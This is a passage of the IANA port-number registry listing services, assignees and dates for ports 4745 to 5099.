fmp 4745 tcp Funambol Mobile Push [Andrea_Gazzaniga] [Andrea_Gazzaniga] 2007-01
fmp 4745 udp Funambol Mobile Push [Andrea_Gazzaniga] [Andrea_Gazzaniga] 2007-01
4746 tcp Reserved
intelliadm-disc 4746 udp IntelliAdmin Discovery [IntelliAdmin_LLC] [Steve_Wiseman] 2016-11-18
buschtrommel 4747 udp peer-to-peer file exchange [None] [Tobias_Sturm] 2013-01-14
protocol
4747 tcp Reserved
4748-4748 Unassigned
profilemac 4749 tcp Profile for Mac [David_Sinclair] [David_Sinclair] 2006-05
profilemac 4749 udp Profile for Mac [David_Sinclair] [David_Sinclair] 2006-05
ssad 4750 tcp Simple Service Auto [Dr_Horst_Herb] [Dr_Horst_Herb] 2005-12
Discovery
ssad 4750 udp Simple Service Auto [Dr_Horst_Herb] [Dr_Horst_Herb] 2005-12
Discovery
spocp 4751 tcp Simple Policy Control [Roland_Hedberg_2] [Roland_Hedberg_2] 2005-08
Protocol
spocp 4751 udp Simple Policy Control [Roland_Hedberg_2] [Roland_Hedberg_2] 2005-08
Protocol
snap 4752 tcp Simple Network Audio [Dameon_Wagner] [Dameon_Wagner] 2002-02
Protocol
snap 4752 udp Simple Network Audio [Dameon_Wagner] [Dameon_Wagner] 2002-02
Protocol
simon 4753 tcp Simple Invocation of Methods [Alexander_Christian] [Alexander_Christian] 2012-04-19
Over Network (SIMON)
Simple Invocation of Methods
simon-disc 4753 udp Over Network (SIMON) [Alexander_Christian] [Alexander_Christian] 2012-04-19
Discovery
4754 tcp Reserved
gre-in-udp 4754 udp GRE-in-UDP Encapsulation [IESG] [IETF_Chair] 2016-10-05 [RFC8086]
4755 tcp Reserved
gre-udp-dtls 4755 udp GRE-in-UDP Encapsulation [IESG] [IETF_Chair] 2016-10-05 [RFC8086]
with DTLS
RDCenter 4756 tcp Reticle Decision Center [KLA_Tencor] [George_Hwa] 2016-10-17
4756 udp Reserved
4757-4773 Unassigned
converge 4774 tcp Converge RPC [Asteris_LLC] [Steven_Borrelli] 2016-09-16
4774 udp Reserved
4775-4783 Unassigned
bfd-multi-ctl 4784 tcp BFD Multihop Control [Dave_Katz][Dave_Ward] [Dave_Katz][Dave_Ward] 2006-02
bfd-multi-ctl 4784 udp BFD Multihop Control [Dave_Katz][Dave_Ward] [Dave_Katz][Dave_Ward] 2006-02
4785 tcp Reserved
cncp 4785 udp Cisco Nexus Control Protocol [Joseph_Swaminathan] [Joseph_Swaminathan] 2009-04-01
smart-install 4786 tcp Smart Install Service [Amit_Nigam] [Amit_Nigam] 2009-08-24
4786 udp Reserved
Service Insertion
sia-ctrl-plane 4787 tcp Architecture (SIA) [Shree_Murthy] [Shree_Murthy] 2009-10-29
Control-Plane
4787 udp Reserved
eXtensible Messaging Client Defined TXT keys: txtvers=1 (as described in the draft)
xmcp 4788 tcp Protocol [Cisco] [Glenn_Matthews] 2011-05-23 2011-10-25 protovers=<comma-separated list of major/minor versions
supported> (examples: "protovers=1.0" "protovers=1.1,2.0"
4788 udp Reserved
vxlan 4789 udp Virtual eXtensible Local [Lawrence_Kreeger] [Lawrence_Kreeger] 2013-04-19 2014-06-17 [RFC7348]
Area Network (VXLAN)
4789 tcp Reserved
Generic Protocol Extension
vxlan-gpe 4790 udp for Virtual eXtensible Local [Lawrence_Kreeger] [Lawrence_Kreeger] 2014-08-26
Area Network (VXLAN)
4790 tcp Reserved
roce 4791 udp IP Routable RocE [InfiniBand_Trade_Association] [Diego_Crupnicoff] 2014-10-17
4791 tcp Reserved
4792-4799 Unassigned
iims 4800 tcp Icona Instant Messenging
System
iims 4800 udp Icona Instant Messenging
System
iwec 4801 tcp Icona Web Embedded Chat
iwec 4801 udp Icona Web Embedded Chat
ilss 4802 tcp Icona License System Server [Paul_Stephen_Borlie] [Paul_Stephen_Borlie]
ilss 4802 udp Icona License System Server [Paul_Stephen_Borlie] [Paul_Stephen_Borlie]
notateit 4803 tcp Notateit Messaging
notateit-disc 4803 udp Notateit Messaging Discovery [Ean_Black] [Ean_Black] 2009-04-08
4804 tcp Reserved
aja-ntv4-disc 4804 udp AJA ntv4 Video System [Mike_Bernadett] [Mike_Bernadett] 2010-06-03
Discovery
4805-4826 Unassigned
htcp 4827 tcp HTCP [Paul_Vixie] [Paul_Vixie]
htcp 4827 udp HTCP [Paul_Vixie] [Paul_Vixie]
4828-4836 Unassigned
varadero-0 4837 tcp Varadero-0
varadero-0 4837 udp Varadero-0
varadero-1 4838 tcp Varadero-1
varadero-1 4838 udp Varadero-1
varadero-2 4839 tcp Varadero-2 [Carlos_Arteaga] [Carlos_Arteaga]
varadero-2 4839 udp Varadero-2 [Carlos_Arteaga] [Carlos_Arteaga]
opcua-tcp 4840 tcp OPC UA Connection Protocol [OPC_Foundation] [Randy_Armstrong] 2018-01-04
opcua-udp 4840 udp OPC UA Multicast Datagram [OPC_Foundation] [Randy_Armstrong] 2006-09 2018-01-04
Protocol
quosa 4841 tcp QUOSA Virtual Library [Uri_Blank] [Uri_Blank] 2006-09
Service
quosa 4841 udp QUOSA Virtual Library [Uri_Blank] [Uri_Blank] 2006-09
Service
gw-asv 4842 tcp nCode ICE-flow Library [Ross_Swithenbank] [Ross_Swithenbank] 2006-09
AppServer
gw-asv 4842 udp nCode ICE-flow Library [Ross_Swithenbank] [Ross_Swithenbank] 2006-09 2017-05-23
AppServer
opcua-tls 4843 tcp OPC UA TCP Protocol over [OPC_Foundation] [Randy_Armstrong] 2006-09 2017-05-23
TLS/SSL
opcua-tls 4843 udp OPC UA TCP Protocol over [OPC_Foundation] [Randy_Armstrong] 2006-09
TLS/SSL
gw-log 4844 tcp nCode ICE-flow Library [Ross_Swithenbank] [Ross_Swithenbank] 2006-09
LogServer
gw-log 4844 udp nCode ICE-flow Library [Ross_Swithenbank] [Ross_Swithenbank] 2006-09
LogServer
wcr-remlib 4845 tcp WordCruncher Remote Library [Jason_Dzubak] [Jason_Dzubak] 2008-03-17
Service
wcr-remlib 4845 udp WordCruncher Remote Library [Jason_Dzubak] [Jason_Dzubak] 2008-03-17
Service
Contamac ICM Service
contamac-icm 4846 tcp IANA assigned this [Abdullah_Obeid] [Abdullah_Obeid] 2008-03-20
well-formed service name as
a replacement for
"contamac_icm".
This entry is an alias to "contamac-icm". This entry is now
contamac_icm 4846 tcp Contamac ICM Service [Abdullah_Obeid] [Abdullah_Obeid] 2008-03-20 historic, not usable for use with many common service
discovery mechanisms.
Contamac ICM Service
contamac-icm 4846 udp IANA assigned this [Abdullah_Obeid] [Abdullah_Obeid] 2008-03-20
well-formed service name as
a replacement for
"contamac_icm".
This entry is an alias to "contamac-icm". This entry is now
contamac_icm 4846 udp Contamac ICM Service [Abdullah_Obeid] [Abdullah_Obeid] 2008-03-20 historic, not usable for use with many common service
discovery mechanisms.
wfc 4847 tcp Web Fresh Communication [Jonathan_Bastnagel] [Jonathan_Bastnagel] 2007-09-17
wfc 4847 udp Web Fresh Communication [Jonathan_Bastnagel] [Jonathan_Bastnagel] 2007-09-17
appserv-http 4848 tcp App Server - Admin HTTP
appserv-http 4848 udp App Server - Admin HTTP
appserv-https 4849 tcp App Server - Admin HTTPS [Sreeram_Duvvuru] [Sreeram_Duvvuru] 2002-04
appserv-https 4849 udp App Server - Admin HTTPS [Sreeram_Duvvuru] [Sreeram_Duvvuru] 2002-04
sun-as-nodeagt 4850 tcp Sun App Server - NA [Kedar_Mhaswade] [Kedar_Mhaswade] 2004-11
sun-as-nodeagt 4850 udp Sun App Server - NA [Kedar_Mhaswade] [Kedar_Mhaswade] 2004-11
derby-repli 4851 tcp Apache Derby Replication [Jorgen_Loland] [Jorgen_Loland] 2008-02-27
derby-repli 4851 udp Apache Derby Replication [Jorgen_Loland] [Jorgen_Loland] 2008-02-27
4852-4866 Unassigned
unify-debug 4867 tcp Unify Debugger [Daegis_Inc] [Chris_Anderson] 2006-05 2012-07-31
unify-debug 4867 udp Unify Debugger [Daegis_Inc] [Chris_Anderson] 2006-05 2012-07-31
phrelay 4868 tcp Photon Relay
phrelay 4868 udp Photon Relay
phrelaydbg 4869 tcp Photon Relay Debug [Michael_Hunter] [Michael_Hunter]
phrelaydbg 4869 udp Photon Relay Debug [Michael_Hunter] [Michael_Hunter]
cc-tracking 4870 tcp Citcom Tracking Service [Wolfgang_Weidner] [Wolfgang_Weidner] 2005-12
cc-tracking 4870 udp Citcom Tracking Service [Wolfgang_Weidner] [Wolfgang_Weidner] 2005-12
wired 4871 tcp Wired [Axel_Andersson] [Axel_Andersson] 2006-02
wired 4871 udp Wired [Axel_Andersson] [Axel_Andersson] 2006-02
4872-4875 Unassigned
tritium-can 4876 tcp Tritium CAN Bus Bridge [James_Kennedy] [James_Kennedy] 2011-02-15
Service
tritium-can 4876 udp Tritium CAN Bus Bridge [James_Kennedy] [James_Kennedy] 2011-02-15
Service
lmcs 4877 tcp Lighting Management Control [Timothy_Parry] [Timothy_Parry] 2011-02-15
System
lmcs 4877 udp Lighting Management Control [Timothy_Parry] [Timothy_Parry] 2011-02-15
System
4878 tcp Reserved
inst-discovery 4878 udp Agilent Instrument Discovery [Charles_F_Steele] [Charles_F_Steele] 2011-02-15
wsdl-event 4879 tcp WSDL Event Receiver [Charles_F_Steele] [Charles_F_Steele] 2011-02-15
4879 udp Reserved
hislip 4880 tcp IVI High-Speed LAN [Joe_Mueller] [Joe_Mueller] 2010-01-11
Instrument Protocol
4880 udp Reserved
4881 tcp Reserved
socp-t 4881 udp SOCP Time Synchronization [Joe_Haver] [Joe_Haver] 2010-05-28
Protocol
4882 tcp Reserved
socp-c 4882 udp SOCP Control Protocol [Joe_Haver] [Joe_Haver] 2010-05-28
wmlserver 4883 tcp Meier-Phelps License Server [William_Phelps] [William_Phelps] 2010-03-22
4883 udp Reserved
hivestor 4884 tcp HiveStor Distributed File [Nicholas_Young] [Nicholas_Young] 2008-07-10
System
hivestor 4884 udp HiveStor Distributed File [Nicholas_Young] [Nicholas_Young] 2008-07-10
System
abbs 4885 tcp ABBS [Ryan_Rubley] [Ryan_Rubley]
abbs 4885 udp ABBS [Ryan_Rubley] [Ryan_Rubley]
4886-4887 Unassigned
xcap-portal 4888 tcp xcap code analysis portal [_88solutions_Corporation] [Manfred_Koethe] 2018-06-06
public user access
4888 udp Reserved
xcap code analysis portal
xcap-control 4889 tcp cluster control and [_88solutions_Corporation] [Manfred_Koethe] 2018-06-06
administration
4889 udp Reserved
4890-4893 Unassigned
lyskom 4894 tcp LysKOM Protocol A [Per_Cederqvist] [Per_Cederqvist]
lyskom 4894 udp LysKOM Protocol A [Per_Cederqvist] [Per_Cederqvist]
4895-4898 Unassigned
radmin-port 4899 tcp RAdmin Port [Dmitri_Znosko] [Dmitri_Znosko] 2003-03
radmin-port 4899 udp RAdmin Port [Dmitri_Znosko] [Dmitri_Znosko] 2003-03
hfcs 4900 tcp HFSQL Client/Server Database [PC_SOFT] [Jerome_AERTS_2] 2006-03-02 2014-02-02
Engine
hfcs 4900 udp HFSQL Client/Server Database [PC_SOFT] [Jerome_AERTS_2] 2006-03-02 2014-02-02
Engine
FileLocator Remote Search
Agent
flr-agent 4901 tcp IANA assigned this [David_Vest] [David_Vest] 2008-11-19
well-formed service name as
a replacement for
"flr_agent".
FileLocator Remote Search This entry is an alias to "flr-agent". This entry is now
flr_agent 4901 tcp Agent [David_Vest] [David_Vest] 2008-11-19 historic, not usable for use with many common service
discovery mechanisms.
4901 udp Reserved
magiccontrol 4902 tcp magicCONROL RF and Data [Andreas_Spalenski] [Andreas_Spalenski] 2008-11-24
Interface
4902 udp Reserved
4903-4911 Unassigned
lutap 4912 tcp Technicolor LUT Access [Markus_Loeffler] [Markus_Loeffler] 2009-02-17
Protocol
4912 udp Reserved
lutcp 4913 tcp LUTher Control Protocol [Markus_Loeffler] [Markus_Loeffler] 2007-07-03
bones 4914 tcp Bones Remote Control [Andreas_Foedrowitz] [Andreas_Foedrowitz] 2008-06-18
bones 4914 udp Bones Remote Control [Andreas_Foedrowitz] [Andreas_Foedrowitz] 2008-06-18
frcs 4915 tcp Fibics Remote Control [Ken_Lagarec] [Ken_Lagarec] 2009-04-17
Service
4915 udp Reserved
4916-4935 Unassigned
an-signaling 4936 udp Signal protocol port for [Cisco_systems_3] [Toerless_Eckert_2] 2014-06-06
autonomic networking
4936 tcp Reserved
4937 tcp Reserved
atsc-mh-ssc 4937 udp ATSC-M/H Service Signaling [Jerry_Whitaker] [Jerry_Whitaker] 2008-10-27
Channel
4938-4939 Unassigned
eq-office-4940 4940 tcp Equitrac Office
eq-office-4940 4940 udp Equitrac Office
eq-office-4941 4941 tcp Equitrac Office
eq-office-4941 4941 udp Equitrac Office
eq-office-4942 4942 tcp Equitrac Office [Tom_Haapanen_2] [Tom_Haapanen_2] 2007-07-11
eq-office-4942 4942 udp Equitrac Office [Tom_Haapanen_2] [Tom_Haapanen_2] 2007-07-11
4943-4948 Unassigned
munin 4949 tcp Munin Graphing Framework [Jimmy_Olsen] [Jimmy_Olsen] 2010-12-24
munin 4949 udp Munin Graphing Framework [Jimmy_Olsen] [Jimmy_Olsen] 2010-12-24
sybasesrvmon 4950 tcp Sybase Server Monitor [Chris_Irie] [Chris_Irie] 2008-03-26
sybasesrvmon 4950 udp Sybase Server Monitor [Chris_Irie] [Chris_Irie] 2008-03-26
pwgwims 4951 tcp PWG WIMS [Ira_McDonald] [Ira_McDonald] 2005-12
pwgwims 4951 udp PWG WIMS [Ira_McDonald] [Ira_McDonald] 2005-12
sagxtsds 4952 tcp SAG Directory Server [Michael_Chirila] [Michael_Chirila] 2006-01
sagxtsds 4952 udp SAG Directory Server [Michael_Chirila] [Michael_Chirila] 2006-01
dbsyncarbiter 4953 tcp Synchronization Arbiter [Dave_Neudoerffer_2] [Dave_Neudoerffer_2] 2009-11-18
4953 udp Reserved
Known
4954-4968 Unassigned UNAUTHORIZED
USE: port
4967
ccss-qmm 4969 tcp CCSS QMessageMonitor
ccss-qmm 4969 udp CCSS QMessageMonitor
ccss-qsm 4970 tcp CCSS QSystemMonitor [David_Young] [David_Young] 2006-01
ccss-qsm 4970 udp CCSS QSystemMonitor [David_Young] [David_Young] 2006-01
burp 4971 tcp BackUp and Restore Program [Marat_Khalili] [Marat_Khalili] 2017-08-23
4971 udp Reserved
4972-4979 Unassigned
ctxs-vpp 4980 udp Citrix Virtual Path [Citrix_Systems] [Rohith_Ramkumar] 2015-04-17
4980 tcp Reserved
4981-4982 Unassigned
4983 Unassigned 2005-12-22
webyast 4984 tcp WebYast [Federico_Lucifredi] [Federico_Lucifredi] 2009-09-25
4984 udp Reserved
gerhcs 4985 tcp GER HC Standard [Roger_Ward] [Roger_Ward] 2009-09-25
4985 udp Reserved
mrip 4986 tcp Model Railway Interface [Howard_Amos] [Howard_Amos] 2006-04
Program
mrip 4986 udp Model Railway Interface [Howard_Amos] [Howard_Amos] 2006-04
Program
smar-se-port1 4987 tcp SMAR Ethernet Port 1
smar-se-port1 4987 udp SMAR Ethernet Port 1
smar-se-port2 4988 tcp SMAR Ethernet Port 2 [Delcio_Prizon] [Delcio_Prizon]
smar-se-port2 4988 udp SMAR Ethernet Port 2 [Delcio_Prizon] [Delcio_Prizon]
parallel 4989 tcp Parallel for GAUSS (tm) [Matthew_Ford] [Matthew_Ford] 2003-03
parallel 4989 udp Parallel for GAUSS (tm) [Matthew_Ford] [Matthew_Ford] 2003-03
busycal 4990 tcp BusySync Calendar Synch. [David_Riggle] [David_Riggle] 2008-01-07 Defined TXT keys: Proprietary
Protocol
busycal 4990 udp BusySync Calendar Synch. [David_Riggle] [David_Riggle] 2008-01-07 Defined TXT keys: Proprietary
Protocol
vrt 4991 tcp VITA Radio Transport [Sam_Bretheim] [Sam_Bretheim] 2009-01-08
vrt 4991 udp VITA Radio Transport [Sam_Bretheim] [Sam_Bretheim] 2009-01-08
4992-4998 Unassigned
hfcs-manager 4999 tcp HFSQL Client/Server Database [PC_SOFT] [Jerome_AERTS_2] 2006-03-02 2014-02-02
Engine Manager
hfcs-manager 4999 udp HFSQL Client/Server Database [PC_SOFT] [Jerome_AERTS_2] 2006-03-02 2014-02-02
Engine Manager
commplex-main 5000 tcp
commplex-main 5000 udp
commplex-link 5001 tcp
commplex-link 5001 udp
rfe 5002 tcp radio free ethernet
rfe 5002 udp radio free ethernet
fmpro-internal 5003 tcp FileMaker, Inc. - [Clay_Maeckel] [Clay_Maeckel]
Proprietary transport
fmpro-internal 5003 udp FileMaker, Inc. - [Clay_Maeckel] [Clay_Maeckel]
Proprietary name binding
avt-profile-1 5004 tcp RTP media data [RFC3551][RFC4571]
avt-profile-1 5004 udp RTP media data [RFC3551]
avt-profile-1 5004 dccp RTP media data [RFC3551][RFC5762]
avt-profile-2 5005 tcp RTP control protocol [RFC3551][RFC4571]
avt-profile-2 5005 udp RTP control protocol [RFC3551]
avt-profile-2 5005 dccp RTP control protocol [RFC3551][RFC5762]
wsm-server 5006 tcp wsm server [Adam_Berk] [Adam_Berk]
wsm-server 5006 udp wsm server [Adam_Berk] [Adam_Berk]
wsm-server-ssl 5007 tcp wsm server ssl [Adam_Berk] [Adam_Berk]
wsm-server-ssl 5007 udp wsm server ssl [Adam_Berk] [Adam_Berk]
synapsis-edge 5008 tcp Synapsis EDGE [Paul_Schilling] [Paul_Schilling]
synapsis-edge 5008 udp Synapsis EDGE [Paul_Schilling] [Paul_Schilling]
winfs 5009 tcp Microsoft Windows Filesystem [Simon_Skaria] [Simon_Skaria] 2006-01
winfs 5009 udp Microsoft Windows Filesystem [Simon_Skaria] [Simon_Skaria] 2006-01
telelpathstart 5010 tcp TelepathStart [Helmuth_Breitenfelln] [Helmuth_Breitenfelln]
telelpathstart 5010 udp TelepathStart [Helmuth_Breitenfelln] [Helmuth_Breitenfelln]
telelpathattack 5011 tcp TelepathAttack [Helmuth_Breitenfelln] [Helmuth_Breitenfelln]
telelpathattack 5011 udp TelepathAttack [Helmuth_Breitenfelln] [Helmuth_Breitenfelln]
nsp 5012 tcp NetOnTap Service [Kim_Hancock] [Kim_Hancock] 2007-10-24
nsp 5012 udp NetOnTap Service [Kim_Hancock] [Kim_Hancock] 2007-10-24
fmpro-v6 5013 tcp FileMaker, Inc. - [Alex_Chen] [Alex_Chen] 2007-08-01
Proprietary transport
fmpro-v6 5013 udp FileMaker, Inc. - [Alex_Chen] [Alex_Chen] 2007-08-01
Proprietary transport
5014 tcp Reserved
onpsocket 5014 udp Overlay Network Protocol [Roger_Matthias] [Roger_Matthias] 2009-08-24
fmwp 5015 tcp FileMaker, Inc. - Web [Alex_Chen] [Alex_Chen] 2009-11-25
publishing
5015 udp Reserved
5016-5019 Unassigned
zenginkyo-1 5020 tcp zenginkyo-1 [Masashi_Suzaki] [Masashi_Suzaki]
zenginkyo-1 5020 udp zenginkyo-1 [Masashi_Suzaki] [Masashi_Suzaki]
zenginkyo-2 5021 tcp zenginkyo-2 [Masashi_Suzaki] [Masashi_Suzaki]
zenginkyo-2 5021 udp zenginkyo-2 [Masashi_Suzaki] [Masashi_Suzaki]
mice 5022 tcp mice server [Alan_Clifford] [Alan_Clifford]
mice 5022 udp mice server [Alan_Clifford] [Alan_Clifford]
htuilsrv 5023 tcp Htuil Server for PLD2 [Dennis_Reinhardt] [Dennis_Reinhardt]
htuilsrv 5023 udp Htuil Server for PLD2 [Dennis_Reinhardt] [Dennis_Reinhardt]
scpi-telnet 5024 tcp SCPI-TELNET [Ryan_Columbus] [Ryan_Columbus] 2002-10
scpi-telnet 5024 udp SCPI-TELNET [Ryan_Columbus] [Ryan_Columbus] 2002-10
scpi-raw 5025 tcp SCPI-RAW [Ryan_Columbus] [Ryan_Columbus] 2002-10
scpi-raw 5025 udp SCPI-RAW [Ryan_Columbus] [Ryan_Columbus] 2002-10
strexec-d 5026 tcp Storix I/O daemon (data) [Storix_Inc] [David_Huffman] 2005-08
strexec-d 5026 udp Storix I/O daemon (data) [Storix_Inc] [David_Huffman] 2005-08
strexec-s 5027 tcp Storix I/O daemon (stat) [Storix_Inc] [David_Huffman] 2005-08
strexec-s 5027 udp Storix I/O daemon (stat) [Storix_Inc] [David_Huffman] 2005-08
qvr 5028 tcp Quiqum Virtual Relais [Philipp_Marcel_Albre] [Philipp_Marcel_Albre] 2009-07-06
5028 udp Reserved
infobright 5029 tcp Infobright Database Server [Mark_Windrim] [Mark_Windrim] 2009-07-23
infobright 5029 udp Infobright Database Server [Mark_Windrim] [Mark_Windrim] 2009-07-23
surfpass 5030 tcp SurfPass [Olivier_Guezenec] [Olivier_Guezenec] 2006-12
surfpass 5030 udp SurfPass [Olivier_Guezenec] [Olivier_Guezenec] 2006-12
5031 tcp Reserved
dmp 5031 udp Direct Message Protocol [Gjermund_Wallenius] [Gjermund_Wallenius] 2009-09-30
signacert-agent 5032 tcp SignaCert Enterprise Trust [Harris_Corporation] [Daniel_R_Somerfield] 2011-08-05
Server Agent
5032 udp Reserved
jtnetd-server 5033 tcp Janstor Secure Data [Janstor_Technology] [Anthony_Johnson_2] 2015-06-08
5033 udp Reserved
jtnetd-status 5034 tcp Janstor Status [Janstor_Technology] [Anthony_Johnson_2] 2015-06-08
5034 udp Reserved
5035-5041 Unassigned
asnaacceler8db 5042 tcp asnaacceler8db [Walter_Goodwin] [Walter_Goodwin]
asnaacceler8db 5042 udp asnaacceler8db [Walter_Goodwin] [Walter_Goodwin]
swxadmin 5043 tcp ShopWorX Administration [Don_W_Fitzpatrick] [Don_W_Fitzpatrick] 2005-08
swxadmin 5043 udp ShopWorX Administration [Don_W_Fitzpatrick] [Don_W_Fitzpatrick] 2005-08
lxi-evntsvc 5044 tcp LXI Event Service [Nick_Barendt] [Nick_Barendt] 2005-08
lxi-evntsvc 5044 udp LXI Event Service [Nick_Barendt] [Nick_Barendt] 2005-08
osp 5045 tcp Open Settlement Protocol [Dmitry_Isakbayev] [Dmitry_Isakbayev] 2010-03-05
5045 udp Reserved
5046 tcp Reserved
vpm-udp 5046 udp Vishay PM UDP Service [Ashley_Clarke] [Ashley_Clarke] 2010-06-17
5047 tcp Reserved
iscape 5047 udp iSCAPE Data Broadcasting [Roland_van_der_Veen] [Roland_van_der_Veen] 2010-06-17
texai 5048 tcp Texai Message Service [Stephen_Reed_2] [Stephen_Reed_2] 2010-06-17
5048 udp Reserved
ivocalize 5049 tcp iVocalize Web Conference [Bryan_Vergato] [Bryan_Vergato] 2006-05
ivocalize 5049 udp iVocalize Web Conference [Bryan_Vergato] [Bryan_Vergato] 2006-05
mmcc 5050 tcp multimedia conference [Steve_Casner] [Steve_Casner]
control tool
mmcc 5050 udp multimedia conference [Steve_Casner] [Steve_Casner]
control tool
ita-agent 5051 tcp ITA Agent [Don_Merrell] [Don_Merrell]
ita-agent 5051 udp ITA Agent [Don_Merrell] [Don_Merrell]
ita-manager 5052 tcp ITA Manager [Don_Merrell] [Don_Merrell]
ita-manager 5052 udp ITA Manager [Don_Merrell] [Don_Merrell]
rlm 5053 tcp RLM License Server [Matt_Christiano_2] [Matt_Christiano_2] 2008-07-28
rlm-disc 5053 udp RLM Discovery Server [Reprise_Software_Inc] [Matt_Christiano_3] 2012-11-06
rlm-admin 5054 tcp RLM administrative interface [Matt_Christiano_2] [Matt_Christiano_2] 2008-07-28
5054 udp Reserved
unot 5055 tcp UNOT [Gordon_Mohr_2] [Gordon_Mohr_2]
unot 5055 udp UNOT [Gordon_Mohr_2] [Gordon_Mohr_2]
intecom-ps1 5056 tcp Intecom Pointspan 1 [David_Meermans] [David_Meermans]
intecom-ps1 5056 udp Intecom Pointspan 1 [David_Meermans] [David_Meermans]
intecom-ps2 5057 tcp Intecom Pointspan 2 [David_Meermans] [David_Meermans]
intecom-ps2 5057 udp Intecom Pointspan 2 [David_Meermans] [David_Meermans]
5058 tcp Reserved
locus-disc 5058 udp Locus Discovery [Alan_King] [Alan_King] 2009-08-13
sds 5059 tcp SIP Directory Services [Arthur_Wilton] [Arthur_Wilton] 2006-03
sds 5059 udp SIP Directory Services [Arthur_Wilton] [Arthur_Wilton] 2006-03
sip 5060 tcp SIP 2014-04-09 [RFC3263]
sip 5060 udp SIP 2014-04-09 [RFC3263]
sip 5060 sctp SIP [RFC4168]
sips 5061 tcp SIP-TLS 2014-04-09 [RFC3263]
sips 5061 udp SIP-TLS 2014-04-09 [RFC3263]
sips 5061 sctp SIP-TLS [RFC4168]
na-localise 5062 tcp Localisation access [Jean_Pierre_Garcia_2] [Jean_Pierre_Garcia_2] 2009-10-28
na-localise 5062 udp Localisation access [Jean_Pierre_Garcia_2] [Jean_Pierre_Garcia_2] 2009-10-28
csrpc 5063 tcp centrify secure RPC [Paul_Moore] [Paul_Moore] 2009-10-28
5063 udp Reserved
ca-1 5064 tcp Channel Access 1 [Jeffrey_Hill] [Jeffrey_Hill] 2002-08
ca-1 5064 udp Channel Access 1 [Jeffrey_Hill] [Jeffrey_Hill] 2002-08
ca-2 5065 tcp Channel Access 2 [Jeffrey_Hill] [Jeffrey_Hill] 2002-08
ca-2 5065 udp Channel Access 2 [Jeffrey_Hill] [Jeffrey_Hill] 2002-08
stanag-5066 5066 tcp STANAG-5066-SUBNET-INTF [Donald_G_Kallgren] [Donald_G_Kallgren]
stanag-5066 5066 udp STANAG-5066-SUBNET-INTF [Donald_G_Kallgren] [Donald_G_Kallgren]
authentx 5067 tcp Authentx Service [Alberto_Fernandez] [Alberto_Fernandez] 2006-01
authentx 5067 udp Authentx Service [Alberto_Fernandez] [Alberto_Fernandez] 2006-01
bitforestsrv 5068 tcp Bitforest Data Service [Ville_Pekka_Vahteala] [Ville_Pekka_Vahteala] 2008-06-05
5068 udp Reserved
i-net-2000-npr 5069 tcp I/Net 2000-NPR [Chris_Megede] [Chris_Megede]
i-net-2000-npr 5069 udp I/Net 2000-NPR [Chris_Megede] [Chris_Megede]
vtsas 5070 tcp VersaTrans Server Agent [Christopher_Miller] [Christopher_Miller] 2006-02
Service
vtsas 5070 udp VersaTrans Server Agent [Christopher_Miller] [Christopher_Miller] 2006-02
Service
powerschool 5071 tcp PowerSchool [Greg_Porter] [Greg_Porter]
powerschool 5071 udp PowerSchool [Greg_Porter] [Greg_Porter]
ayiya 5072 tcp Anything In Anything [Jeroen_Massar] [Jeroen_Massar] 2005-08
ayiya 5072 udp Anything In Anything [Jeroen_Massar] [Jeroen_Massar] 2005-08
tag-pm 5073 tcp Advantage Group Port Mgr [James_Goddard] [James_Goddard] 2005-08
tag-pm 5073 udp Advantage Group Port Mgr [James_Goddard] [James_Goddard] 2005-08
alesquery 5074 tcp ALES Query [Tim_Maloney] [Tim_Maloney] 2005-08
alesquery 5074 udp ALES Query [Tim_Maloney] [Tim_Maloney] 2005-08
pvaccess 5075 tcp Experimental Physics and [Matej_Sekoranja] [Matej_Sekoranja] 2012-03-23
Industrial Control System
5075 udp Reserved
5076-5077 Unassigned
pixelpusher 5078 udp PixelPusher pixel data [heroicrobotics.com] [Jasmine_Strong] 2014-06-24
5078 tcp Reserved
5079 tcp Reserved
cp-spxrpts 5079 udp Cambridge Pixel SPx Reports [Richard_Warren] [Richard_Warren] 2008-09-17
onscreen 5080 tcp OnScreen Data Collection [Christopher_Miller_2] [Christopher_Miller_2] 2008-01-14
Service
onscreen 5080 udp OnScreen Data Collection [Christopher_Miller_2] [Christopher_Miller_2] 2008-01-14
Service
sdl-ets 5081 tcp SDL - Ent Trans Server [Marc_Morin] [Marc_Morin] 2002-04
sdl-ets 5081 udp SDL - Ent Trans Server [Marc_Morin] [Marc_Morin] 2002-04
qcp 5082 tcp Qpur Communication Protocol [Joachim_Kluemper] [Joachim_Kluemper] 2008-03-19
qcp 5082 udp Qpur Communication Protocol [Joachim_Kluemper] [Joachim_Kluemper] 2008-03-19
qfp 5083 tcp Qpur File Protocol [Joachim_Kluemper] [Joachim_Kluemper] 2008-03-19
qfp 5083 udp Qpur File Protocol [Joachim_Kluemper] [Joachim_Kluemper] 2008-03-19
llrp 5084 tcp EPCglobal Low-Level Reader [Margaret_Wasserman][Paul_Dietrich] [Margaret_Wasserman][Paul_Dietrich] 2006-11 Defined TXT keys: None. RFID reader Low Level Reader Protocol
Protocol
llrp 5084 udp EPCglobal Low-Level Reader [Margaret_Wasserman][Paul_Dietrich] [Margaret_Wasserman][Paul_Dietrich] 2006-11 Defined TXT keys: None. RFID reader Low Level Reader Protocol
Protocol
encrypted-llrp 5085 tcp EPCglobal Encrypted LLRP [Margaret_Wasserman] [Margaret_Wasserman] 2006-11
encrypted-llrp 5085 udp EPCglobal Encrypted LLRP [Margaret_Wasserman] [Margaret_Wasserman] 2006-11
aprigo-cs 5086 tcp Aprigo Collection Service [Ron_Zalkind] [Ron_Zalkind] 2010-05-28
5086 udp Reserved
BIOTIC - Binary Internet of
biotic 5087 tcp Things Interoperable [Waher_Data_AB] [Peter_Waher] 2014-06-16 2015-11-25
Communication
5087 udp Reserved
5088-5089 Unassigned
car 5090 sctp Candidate AR
cxtp 5091 sctp Context Transfer Protocol 2005-07 [RFC4065]
5092 tcp Reserved
magpie 5092 udp Magpie Binary [Phil_Maker] [Phil_Maker] 2008-06-18
sentinel-lm 5093 tcp Sentinel LM [Derick_Snyder] [Derick_Snyder]
sentinel-lm 5093 udp Sentinel LM [Derick_Snyder] [Derick_Snyder]
hart-ip 5094 tcp HART-IP [Wally_Pratt_Jr] [Wally_Pratt_Jr] 2010-03-02
hart-ip 5094 udp HART-IP [Wally_Pratt_Jr] [Wally_Pratt_Jr] 2010-03-02
5095-5098 Unassigned
sentlm-srv2srv 5099 tcp SentLM Srv2Srv [Derick_Snyder] [Derick_Snyder]
sentlm-srv2srv 5099 udp SentLM Srv2Srv [Derick_Snyder] [Derick_Snyder]
